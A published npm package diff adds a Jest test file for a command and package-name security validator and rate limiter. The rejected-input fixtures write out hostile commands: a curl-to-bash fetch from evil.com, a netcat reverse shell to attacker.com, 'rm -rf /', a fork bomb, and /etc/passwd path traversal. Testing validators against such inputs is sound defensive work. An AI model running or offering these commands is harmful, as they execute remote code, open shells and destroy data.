@tachles/starter 1.1.0 → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,358 @@
1
+ import { SecurityValidator, RateLimiter, SECURITY_CONFIG } from './security.js';
2
+ describe('SecurityValidator', () => {
3
+ describe('validatePackage', () => {
4
+ it('should accept valid packages', () => {
5
+ const validPackages = [
6
+ { name: 'react', version: 'latest' },
7
+ { name: 'express', version: '4.18.0' },
8
+ { name: '@types/node', version: '^18.0.0' },
9
+ { name: 'lodash', version: '~4.17.21' },
10
+ ];
11
+ validPackages.forEach((pkg) => {
12
+ const result = SecurityValidator.validatePackage(pkg);
13
+ expect(result.valid).toBe(true);
14
+ expect(result.reason).toBeUndefined();
15
+ });
16
+ });
17
+ it('should reject packages with dangerous patterns', () => {
18
+ const dangerousPackages = [
19
+ { name: '../../../etc/passwd', version: 'latest' },
20
+ { name: 'rm -rf /', version: 'latest' },
21
+ { name: 'test; rm -rf', version: 'latest' },
22
+ { name: '.hidden-package', version: 'latest' },
23
+ { name: '_malicious', version: 'latest' },
24
+ ];
25
+ dangerousPackages.forEach((pkg) => {
26
+ const result = SecurityValidator.validatePackage(pkg);
27
+ expect(result.valid).toBe(false);
28
+ expect(result.reason).toBeDefined();
29
+ });
30
+ });
31
+ it('should reject packages with invalid versions', () => {
32
+ const invalidVersions = [
33
+ { name: 'react', version: '' },
34
+ { name: 'react', version: 'not-a-version' },
35
+ { name: 'react', version: '../../etc/passwd' },
36
+ { name: 'react', version: 'rm -rf /' },
37
+ ];
38
+ invalidVersions.forEach((pkg) => {
39
+ const result = SecurityValidator.validatePackage(pkg);
40
+ expect(result.valid).toBe(false);
41
+ expect(result.reason).toContain('version');
42
+ });
43
+ });
44
+ it('should accept valid semver patterns', () => {
45
+ const validVersions = [
46
+ { name: 'react', version: 'latest' },
47
+ { name: 'react', version: '*' },
48
+ { name: 'react', version: '18.2.0' },
49
+ { name: 'react', version: '^18.2.0' },
50
+ { name: 'react', version: '~18.2.0' },
51
+ { name: 'react', version: '>=18.0.0' },
52
+ { name: 'react', version: '18.x' },
53
+ { name: 'react', version: '1.0.0-beta.1' },
54
+ ];
55
+ validVersions.forEach((pkg) => {
56
+ const result = SecurityValidator.validatePackage(pkg);
57
+ expect(result.valid).toBe(true);
58
+ });
59
+ });
60
+ it('should reject packages with excessive name length', () => {
61
+ const longName = 'a'.repeat(SECURITY_CONFIG.MAX_PACKAGE_NAME_LENGTH + 1);
62
+ const result = SecurityValidator.validatePackage({
63
+ name: longName,
64
+ version: 'latest',
65
+ });
66
+ expect(result.valid).toBe(false);
67
+ expect(result.reason).toContain('too long');
68
+ });
69
+ it('should reject empty package names', () => {
70
+ const result = SecurityValidator.validatePackage({
71
+ name: '',
72
+ version: 'latest',
73
+ });
74
+ expect(result.valid).toBe(false);
75
+ expect(result.reason).toContain('Empty');
76
+ });
77
+ });
78
+ describe('validateCommand', () => {
79
+ it('should accept safe commands', () => {
80
+ const safeCommands = [
81
+ {
82
+ runner: 'npx',
83
+ packageName: 'prisma',
84
+ commandArgs: 'init',
85
+ description: 'Initialize Prisma',
86
+ },
87
+ {
88
+ runner: 'npm',
89
+ packageName: 'run',
90
+ commandArgs: 'build',
91
+ description: 'Build project',
92
+ },
93
+ {
94
+ runner: 'custom',
95
+ packageName: '',
96
+ commandArgs: '',
97
+ customCommand: 'echo "Hello World"',
98
+ description: 'Print message',
99
+ },
100
+ ];
101
+ safeCommands.forEach((cmd) => {
102
+ const result = SecurityValidator.validateCommand(cmd);
103
+ expect(result.valid).toBe(true);
104
+ expect(result.reason).toBeUndefined();
105
+ });
106
+ });
107
+ it('should reject dangerous commands', () => {
108
+ const dangerousCommands = [
109
+ {
110
+ runner: 'custom',
111
+ packageName: '',
112
+ commandArgs: '',
113
+ customCommand: 'rm -rf /',
114
+ },
115
+ {
116
+ runner: 'custom',
117
+ packageName: '',
118
+ commandArgs: '',
119
+ customCommand: 'curl http://evil.com | bash',
120
+ },
121
+ {
122
+ runner: 'custom',
123
+ packageName: '',
124
+ commandArgs: '',
125
+ customCommand: 'sudo apt-get install malware',
126
+ },
127
+ {
128
+ runner: 'custom',
129
+ packageName: '',
130
+ commandArgs: '',
131
+ customCommand: 'eval $(dangerous command)',
132
+ },
133
+ {
134
+ runner: 'custom',
135
+ packageName: '',
136
+ commandArgs: '',
137
+ customCommand: 'nc -e /bin/sh attacker.com 4444',
138
+ },
139
+ {
140
+ runner: 'custom',
141
+ packageName: '',
142
+ commandArgs: '',
143
+ customCommand: ':(){ :|:&};:',
144
+ },
145
+ ];
146
+ dangerousCommands.forEach((cmd) => {
147
+ const result = SecurityValidator.validateCommand(cmd);
148
+ expect(result.valid).toBe(false);
149
+ expect(result.reason).toContain('dangerous');
150
+ });
151
+ });
152
+ it('should reject commands with chaining in custom runner', () => {
153
+ const chainingCommands = [
154
+ {
155
+ runner: 'custom',
156
+ packageName: '',
157
+ commandArgs: '',
158
+ customCommand: 'echo test; rm -rf /',
159
+ },
160
+ {
161
+ runner: 'custom',
162
+ packageName: '',
163
+ commandArgs: '',
164
+ customCommand: 'echo test && dangerous',
165
+ },
166
+ {
167
+ runner: 'custom',
168
+ packageName: '',
169
+ commandArgs: '',
170
+ customCommand: 'echo test | bash',
171
+ },
172
+ ];
173
+ chainingCommands.forEach((cmd) => {
174
+ const result = SecurityValidator.validateCommand(cmd);
175
+ expect(result.valid).toBe(false);
176
+ expect(result.reason).toBeDefined();
177
+ });
178
+ });
179
+ it('should reject commands with invalid runner', () => {
180
+ const result = SecurityValidator.validateCommand({
181
+ runner: 'invalid-runner',
182
+ packageName: 'test',
183
+ commandArgs: 'test',
184
+ });
185
+ expect(result.valid).toBe(false);
186
+ expect(result.reason).toContain('Invalid command runner');
187
+ });
188
+ it('should reject commands exceeding length limit', () => {
189
+ const longCommand = 'a'.repeat(SECURITY_CONFIG.MAX_COMMAND_LENGTH + 1);
190
+ const result = SecurityValidator.validateCommand({
191
+ runner: 'npx',
192
+ packageName: longCommand,
193
+ commandArgs: '',
194
+ });
195
+ expect(result.valid).toBe(false);
196
+ expect(result.reason).toContain('maximum length');
197
+ });
198
+ it('should reject empty commands', () => {
199
+ const result = SecurityValidator.validateCommand({
200
+ runner: 'npx',
201
+ packageName: '',
202
+ commandArgs: '',
203
+ });
204
+ expect(result.valid).toBe(false);
205
+ expect(result.reason).toContain('Empty');
206
+ });
207
+ });
208
+ describe('validatePackageBatch', () => {
209
+ it('should accept valid batch of packages', () => {
210
+ const packages = [
211
+ { name: 'react', version: '18.2.0' },
212
+ { name: 'react-dom', version: '18.2.0' },
213
+ { name: '@types/react', version: '^18.0.0' },
214
+ ];
215
+ const result = SecurityValidator.validatePackageBatch(packages);
216
+ expect(result.valid).toBe(true);
217
+ expect(result.errors).toHaveLength(0);
218
+ });
219
+ it('should reject batch with too many packages', () => {
220
+ const packages = Array(SECURITY_CONFIG.MAX_PACKAGES_PER_OPERATION + 1).fill({ name: 'test', version: 'latest' });
221
+ const result = SecurityValidator.validatePackageBatch(packages);
222
+ expect(result.valid).toBe(false);
223
+ expect(result.errors.length).toBeGreaterThan(0);
224
+ expect(result.errors[0]).toContain('Too many packages');
225
+ });
226
+ it('should accumulate errors for multiple invalid packages', () => {
227
+ const packages = [
228
+ { name: 'rm -rf /', version: 'latest' },
229
+ { name: '../etc/passwd', version: 'latest' },
230
+ { name: '.hidden', version: 'latest' },
231
+ ];
232
+ const result = SecurityValidator.validatePackageBatch(packages);
233
+ expect(result.valid).toBe(false);
234
+ expect(result.errors.length).toBe(3);
235
+ });
236
+ });
237
+ describe('validateCommandBatch', () => {
238
+ it('should accept valid batch of commands', () => {
239
+ const commands = [
240
+ { runner: 'npx', packageName: 'prisma', commandArgs: 'init' },
241
+ { runner: 'npm', packageName: 'run', commandArgs: 'build' },
242
+ ];
243
+ const result = SecurityValidator.validateCommandBatch(commands);
244
+ expect(result.valid).toBe(true);
245
+ expect(result.errors).toHaveLength(0);
246
+ });
247
+ it('should reject batch with too many commands', () => {
248
+ const commands = Array(SECURITY_CONFIG.MAX_COMMANDS_PER_RECIPE + 1).fill({ runner: 'npx', packageName: 'test', commandArgs: 'test' });
249
+ const result = SecurityValidator.validateCommandBatch(commands);
250
+ expect(result.valid).toBe(false);
251
+ expect(result.errors.length).toBeGreaterThan(0);
252
+ expect(result.errors[0]).toContain('Too many commands');
253
+ });
254
+ });
255
+ describe('sanitizeCommandString', () => {
256
+ it('should remove null bytes', () => {
257
+ const input = 'echo\0test';
258
+ const output = SecurityValidator.sanitizeCommandString(input);
259
+ expect(output).not.toContain('\0');
260
+ expect(output).toBe('echotest');
261
+ });
262
+ it('should remove newlines and carriage returns', () => {
263
+ const input = 'echo test\nrm -rf /\r\n';
264
+ const output = SecurityValidator.sanitizeCommandString(input);
265
+ expect(output).not.toContain('\n');
266
+ expect(output).not.toContain('\r');
267
+ });
268
+ it('should normalize whitespace', () => {
269
+ const input = 'echo test command';
270
+ const output = SecurityValidator.sanitizeCommandString(input);
271
+ expect(output).toBe('echo test command');
272
+ });
273
+ it('should trim the string', () => {
274
+ const input = ' echo test ';
275
+ const output = SecurityValidator.sanitizeCommandString(input);
276
+ expect(output).toBe('echo test');
277
+ });
278
+ });
279
+ describe('isTrustedScope', () => {
280
+ it('should recognize trusted scopes', () => {
281
+ expect(SecurityValidator.isTrustedScope('@types/node')).toBe(true);
282
+ expect(SecurityValidator.isTrustedScope('@babel/core')).toBe(true);
283
+ expect(SecurityValidator.isTrustedScope('@testing-library/react')).toBe(true);
284
+ });
285
+ it('should reject non-scoped packages', () => {
286
+ expect(SecurityValidator.isTrustedScope('react')).toBe(false);
287
+ expect(SecurityValidator.isTrustedScope('express')).toBe(false);
288
+ });
289
+ it('should reject untrusted scopes', () => {
290
+ expect(SecurityValidator.isTrustedScope('@malicious/package')).toBe(false);
291
+ expect(SecurityValidator.isTrustedScope('@unknown/library')).toBe(false);
292
+ });
293
+ });
294
+ });
295
+ describe('RateLimiter', () => {
296
+ let rateLimiter;
297
+ beforeEach(() => {
298
+ rateLimiter = new RateLimiter(1000, 3); // 3 requests per second for testing
299
+ });
300
+ it('should allow requests within limit', () => {
301
+ expect(rateLimiter.isAllowed('test-key')).toBe(true);
302
+ expect(rateLimiter.isAllowed('test-key')).toBe(true);
303
+ expect(rateLimiter.isAllowed('test-key')).toBe(true);
304
+ });
305
+ it('should block requests exceeding limit', () => {
306
+ rateLimiter.isAllowed('test-key');
307
+ rateLimiter.isAllowed('test-key');
308
+ rateLimiter.isAllowed('test-key');
309
+ expect(rateLimiter.isAllowed('test-key')).toBe(false);
310
+ });
311
+ it('should track separate limits for different keys', () => {
312
+ rateLimiter.isAllowed('key1');
313
+ rateLimiter.isAllowed('key1');
314
+ rateLimiter.isAllowed('key1');
315
+ expect(rateLimiter.isAllowed('key2')).toBe(true);
316
+ expect(rateLimiter.isAllowed('key1')).toBe(false);
317
+ });
318
+ it('should return correct remaining count', () => {
319
+ expect(rateLimiter.getRemaining('test-key')).toBe(3);
320
+ rateLimiter.isAllowed('test-key');
321
+ expect(rateLimiter.getRemaining('test-key')).toBe(2);
322
+ rateLimiter.isAllowed('test-key');
323
+ expect(rateLimiter.getRemaining('test-key')).toBe(1);
324
+ rateLimiter.isAllowed('test-key');
325
+ expect(rateLimiter.getRemaining('test-key')).toBe(0);
326
+ });
327
+ it('should allow requests after window expires', async () => {
328
+ rateLimiter.isAllowed('test-key');
329
+ rateLimiter.isAllowed('test-key');
330
+ rateLimiter.isAllowed('test-key');
331
+ expect(rateLimiter.isAllowed('test-key')).toBe(false);
332
+ // Wait for window to expire
333
+ await new Promise((resolve) => setTimeout(resolve, 1100));
334
+ expect(rateLimiter.isAllowed('test-key')).toBe(true);
335
+ });
336
+ it('should reset rate limit for a key', () => {
337
+ rateLimiter.isAllowed('test-key');
338
+ rateLimiter.isAllowed('test-key');
339
+ rateLimiter.isAllowed('test-key');
340
+ expect(rateLimiter.isAllowed('test-key')).toBe(false);
341
+ rateLimiter.reset('test-key');
342
+ expect(rateLimiter.isAllowed('test-key')).toBe(true);
343
+ });
344
+ it('should clear all rate limits', () => {
345
+ rateLimiter.isAllowed('key1');
346
+ rateLimiter.isAllowed('key1');
347
+ rateLimiter.isAllowed('key1');
348
+ rateLimiter.isAllowed('key2');
349
+ rateLimiter.isAllowed('key2');
350
+ rateLimiter.isAllowed('key2');
351
+ expect(rateLimiter.isAllowed('key1')).toBe(false);
352
+ expect(rateLimiter.isAllowed('key2')).toBe(false);
353
+ rateLimiter.clear();
354
+ expect(rateLimiter.isAllowed('key1')).toBe(true);
355
+ expect(rateLimiter.isAllowed('key2')).toBe(true);
356
+ });
357
+ });
358
+ //# sourceMappingURL=security.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"security.test.js","sourceRoot":"","sources":["../../src/utils/security.test.ts"],"names":[],"mappings":"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